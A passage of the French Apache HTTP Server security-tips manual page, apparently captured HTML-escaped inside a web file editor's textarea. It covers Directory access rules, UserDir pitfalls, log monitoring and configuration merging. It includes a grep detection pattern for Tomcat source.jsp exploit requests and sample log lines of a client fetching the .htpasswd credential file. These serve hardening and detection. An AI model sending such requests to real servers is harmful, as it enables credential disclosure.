    fichiers. Pour l&#039;éviter, ajoutez le bloc suivant à la configuration
    de votre serveur :&lt;/p&gt;

    &lt;pre class=&quot;prettyprint lang-config&quot;&gt;&amp;lt;Directory &quot;/&quot;&amp;gt;
    Require all denied
&amp;lt;/Directory&amp;gt;&lt;/pre&gt;


    &lt;p&gt;ceci va interdire l&#039;accès par défaut à tous les fichiers du système de
    fichiers. Vous devrez ensuite ajouter les blocs
    &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/core.html#directory&quot;&gt;Directory&lt;/a&gt;&lt;/code&gt; appropriés correspondant
    aux répertoires auxquels vous voulez autorisez l&#039;accès. Par exemple,&lt;/p&gt;

    &lt;pre class=&quot;prettyprint lang-config&quot;&gt;&amp;lt;Directory &quot;/usr/users/*/public_html&quot;&amp;gt;
    Require all granted
&amp;lt;/Directory&amp;gt;
&amp;lt;Directory &quot;/usr/local/httpd&quot;&amp;gt;
    Require all granted
&amp;lt;/Directory&amp;gt;&lt;/pre&gt;


    &lt;p&gt;Portez une attention particulière aux interactions entre les directives
    &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/core.html#location&quot;&gt;Location&lt;/a&gt;&lt;/code&gt; et
    &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/core.html#directory&quot;&gt;Directory&lt;/a&gt;&lt;/code&gt; ; par exemple, si une
    directive &lt;code&gt;&amp;lt;Directory &quot;&quot;/&amp;gt;&lt;/code&gt; interdit un accès, une
    directive &lt;code&gt;&amp;lt;Location &quot;/&quot;&amp;gt;&lt;/code&gt; pourra passer outre.&lt;/p&gt;

    &lt;p&gt;De même, soyez méfiant en jouant avec la directive
    &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/mod_userdir.html#userdir&quot;&gt;UserDir&lt;/a&gt;&lt;/code&gt; ; la positionner à
    &lt;code&gt;&quot;./&quot;&lt;/code&gt; aurait le même effet, pour root, que le premier exemple plus haut.
    Nous vous conseillons
    fortement d&#039;inclure la ligne suivante dans le fichier de configuration de
    votre serveur :&lt;/p&gt;

    &lt;pre class=&quot;prettyprint lang-config&quot;&gt;UserDir disabled root&lt;/pre&gt;


  &lt;/div&gt;&lt;div class=&quot;top&quot;&gt;&lt;a href=&quot;#page-header&quot;&gt;&lt;img alt=&quot;top&quot; src=&quot;../images/up.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot;&gt;
&lt;h2&gt;&lt;a name=&quot;watchyourlogs&quot; id=&quot;watchyourlogs&quot;&gt;Surveillez vos journaux&lt;/a&gt;&lt;/h2&gt;

    

    &lt;p&gt;Pour vous tenir informé de ce qui se passe réellement dans votre
    serveur, vous devez consulter vos
    &lt;a href=&quot;../logs.html&quot;&gt;fichiers journaux&lt;/a&gt;. Même si les fichiers journaux
    ne consignent que des évènements qui se sont déjà produits, ils vous
    informeront sur la nature des attaques qui sont lancées contre le serveur
    et vous permettront de vérifier si le niveau de sécurité nécessaire est
    atteint.&lt;/p&gt;

    &lt;p&gt;Quelques exemples :&lt;/p&gt;

    &lt;div class=&quot;example&quot;&gt;&lt;p&gt;&lt;code&gt;
      grep -c &quot;/jsp/source.jsp?/jsp/ /jsp/source.jsp??&quot; access_log &lt;br /&gt;
      grep &quot;client denied&quot; error_log | tail -n 10
    &lt;/code&gt;&lt;/p&gt;&lt;/div&gt;

    &lt;p&gt;Le premier exemple listera les attaques essayant d&#039;exploiter la
    &lt;a href=&quot;http://online.securityfocus.com/bid/4876/info/&quot;&gt;vulnérabilité
    d&#039;Apache Tomcat pouvant provoquer la divulgation d&#039;informations par des
    requêtes Source.JSP mal formées&lt;/a&gt;, le second donnera la liste des dix
    dernières interdictions client ; par exemple :&lt;/p&gt;

    &lt;div class=&quot;example&quot;&gt;&lt;p&gt;&lt;code&gt;
      [Thu Jul 11 17:18:39 2002] [error] [client foo.example.com] client denied
      by server configuration: /usr/local/apache/htdocs/.htpasswd
    &lt;/code&gt;&lt;/p&gt;&lt;/div&gt;

    &lt;p&gt;Comme vous le voyez, les fichiers journaux ne consignent que ce qui
    s&#039;est déjà produit ; ainsi, si le client a pu accéder au fichier
    &lt;code&gt;.htpasswd&lt;/code&gt;, vous devriez avoir quelque chose du style :&lt;/p&gt;

    &lt;div class=&quot;example&quot;&gt;&lt;p&gt;&lt;code&gt;
      foo.example.com - - [12/Jul/2002:01:59:13 +0200] &quot;GET /.htpasswd HTTP/1.1&quot;
    &lt;/code&gt;&lt;/p&gt;&lt;/div&gt;

    &lt;p&gt;dans votre &lt;a href=&quot;../logs.html#accesslog&quot;&gt;journal des accès&lt;/a&gt; ; ce
    qui signifie que vous avez probablement mis en commentaire ce qui suit dans
    le fichier de configuration de votre serveur :&lt;/p&gt;

    &lt;pre class=&quot;prettyprint lang-config&quot;&gt;&amp;lt;Files &quot;.ht*&quot;&amp;gt;
    Require all denied
&amp;lt;/Files&amp;gt;&lt;/pre&gt;


  &lt;/div&gt;&lt;div class=&quot;top&quot;&gt;&lt;a href=&quot;#page-header&quot;&gt;&lt;img alt=&quot;top&quot; src=&quot;../images/up.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot;&gt;
&lt;h2&gt;&lt;a name=&quot;merging&quot; id=&quot;merging&quot;&gt;Fusion des sections de configuration&lt;/a&gt;&lt;/h2&gt;

    

    &lt;p&gt;La fusion des sections de configuration est complexe et dépend
    souvent des directives utilisées. Vous devez systématiquement tester
    vos modifications pour vérifier la manière dont les directives sont
    fusionnées.&lt;/p&gt;

    &lt;p&gt;Concernant les modules qui n&#039;implémentent aucune logique de
    fusion, comme &lt;code class=&quot;module&quot;&gt;&lt;a href=&quot;../mod/mod_access_compat.html&quot;&gt;mod_access_compat&lt;/a&gt;&lt;/code&gt;, le
    comportement des sections suivantes est tributaire de la présence
    dans ces dernières de directives appartenant à ces modules. La
    configuration est héritée jusqu&#039;à ce qu&#039;une modification soit
    effectuée ; à ce moment, la configuration est &lt;em&gt;remplacée&lt;/em&gt; et
    non fusionnée.&lt;/p&gt;
  &lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;bottomlang&quot;&gt;
&lt;p&gt;&lt;span&gt;Langues Disponibles: &lt;/span&gt;&lt;a href=&quot;../en/misc/security_tips.html&quot; hreflang=&quot;en&quot; rel=&quot;alternate&quot; title=&quot;English&quot;&gt;&amp;nbsp;en&amp;nbsp;&lt;/a&gt; |
&lt;a href=&quot;../fr/misc/security_tips.html&quot; title=&quot;Français&quot;&gt;&amp;nbsp;fr&amp;nbsp;&lt;/a&gt; |
&lt;a href=&quot;../ko/misc/security_tips.html&quot; hreflang=&quot;ko&quot; rel=&quot;alternate&quot; title=&quot;Korean&quot;&gt;&amp;nbsp;ko&amp;nbsp;&lt;/a&gt; |
&lt;a href=&quot;../tr/misc/security_tips.html&quot; hreflang=&quot;tr&quot; rel=&quot;alternate&quot; title=&quot;Türkçe&quot;&gt;&amp;nbsp;tr&amp;nbsp;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;div class=&quot;top&quot;&gt;&lt;a href=&quot;#page-header&quot;&gt;&lt;img src=&quot;../images/up.gif&quot; alt=&quot;top&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;section&quot;&gt;&lt;h2&gt;&lt;a id=&quot;comments_section&quot; name=&quot;comments_section&quot;&gt;Commentaires&lt;/a&gt;&lt;/h2&gt;&lt;div class=&quot;warning&quot;&gt;&lt;strong&gt;Notice:&lt;/strong&gt;&lt;br /&gt;This is not a Q&amp;amp;A section. Comments placed here should be pointed towards suggestions on improving the documentation or server, and may be removed by our moderators if they are either implemented or considered invalid/off-topic. Questions on how to manage the Apache HTTP Server should be directed at either our IRC channel, #httpd, on Libera.chat, or sent to our &lt;a href=&quot;https://httpd.apache.org/lists.html&quot;&gt;mailing lists&lt;/a&gt;.&lt;/div&gt;
&lt;script type=&quot;text/javascript&quot;&gt;&lt;!--//--&gt;&lt;![CDATA[//&gt;&lt;!--
var comments_shortname = &#039;httpd&#039;;
var comments_identifier = &#039;http://httpd.apache.org/docs/2.4/misc/security_tips.html&#039;;
(function(w, d) {
    if (w.location.hostname.toLowerCase() == &quot;httpd.apache.org&quot;) {
        d.write(&#039;&lt;div id=&quot;comments_thread&quot;&gt;&lt;\/div&gt;&#039;);
        var s = d.createElement(&#039;script&#039;);
        s.type = &#039;text/javascript&#039;;
        s.async = true;
        s.src = &#039;https://comments.apache.org/show_comments.lua?site=&#039; + comments_shortname + &#039;&amp;page=&#039; + comments_identifier;
        (d.getElementsByTagName(&#039;head&#039;)[0] || d.getElementsByTagName(&#039;body&#039;)[0]).appendChild(s);
    }
    else { 
        d.write(&#039;&lt;div id=&quot;comments_thread&quot;&gt;Comments are disabled for this page at the moment.&lt;\/div&gt;&#039;);
    }
})(window, document);
//--&gt;&lt;!]]&gt;&lt;/script&gt;&lt;/div&gt;&lt;div id=&quot;footer&quot;&gt;
&lt;p class=&quot;apache&quot;&gt;Copyright 2025 The Apache Software Foundation.&lt;br /&gt;Autorisé sous &lt;a href=&quot;http://www.apache.org/licenses/LICENSE-2.0&quot;&gt;Apache License, Version 2.0&lt;/a&gt;.&lt;/p&gt;
&lt;p class=&quot;menu&quot;&gt;&lt;a href=&quot;../mod/&quot;&gt;Modules&lt;/a&gt; | &lt;a href=&quot;../mod/directives.html&quot;&gt;Directives&lt;/a&gt; | &lt;a href=&quot;http://wiki.apache.org/httpd/FAQ&quot;&gt;FAQ&lt;/a&gt; | &lt;a href=&quot;../glossary.html&quot;&gt;Glossaire&lt;/a&gt; | &lt;a href=&quot;../sitemap.html&quot;&gt;Plan du site&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;script type=&quot;text/javascript&quot;&gt;&lt;!--//--&gt;&lt;![CDATA[//&gt;&lt;!--
if (typeof(prettyPrint) !== &#039;undefined&#039;) {
    prettyPrint();
}
//--&gt;&lt;!]]&gt;&lt;/script&gt;
&lt;/body&gt;&lt;/html&gt;</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FAPACHE%2Fmanual%2Fmisc'>🔙 Back</a></p>